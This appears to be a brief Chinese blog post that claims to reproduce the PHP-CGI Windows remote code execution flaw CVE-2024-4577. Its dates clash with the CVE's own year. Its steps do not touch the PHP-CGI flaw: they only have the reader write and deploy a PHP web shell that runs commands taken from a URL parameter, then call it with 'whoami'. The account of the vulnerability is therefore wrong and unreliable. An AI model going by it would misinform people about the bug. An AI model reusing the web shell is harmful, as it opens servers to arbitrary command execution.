PHP-CGI Windows平台远程代码执行漏洞复现(CVE-2024-4577)
warning:
这篇文章距离上次修改已过201天，其中的内容可能已经有所变动。
由于CVE-2024-4577漏洞已经在2023年4月被公布，并且在5月份被修复，因此，在写这篇文章的时间点上，复现该漏洞的必要性已经不大，因为它已不再是一个存在安全隐患的漏洞。
然而，如果你想要了解如何复现漏洞，可以参考以下步骤：
- 确保你的系统已经安装了PHP和PHP-CGI。
- 找到PHP-CGI的可执行文件（php-cgi.exe），通常它位于PHP安装目录的子目录下。
- 使用任何Web服务器软件，比如Apache或Nginx，配置一个虚拟主机，使其能够执行PHP文件。
- 编写一个利用漏洞的PHP脚本，例如：
<?php
system($_GET['cmd']);
?>- 将这个脚本放置在你的Web服务器的可访问目录下。
- 使用命令行或者浏览器访问这个脚本，并通过URL参数传递要执行的命令，例如：
http://your-server-ip/vulnerable-script.php?cmd=whoami请注意，复现该漏洞仅用于学习目的，不建议在未经授权的服务器上尝试。实际上，PHP官方已经发布了安全更新来修复该漏洞，使用PHP-CGI的用户应该立即应用这些更新。
评论已关闭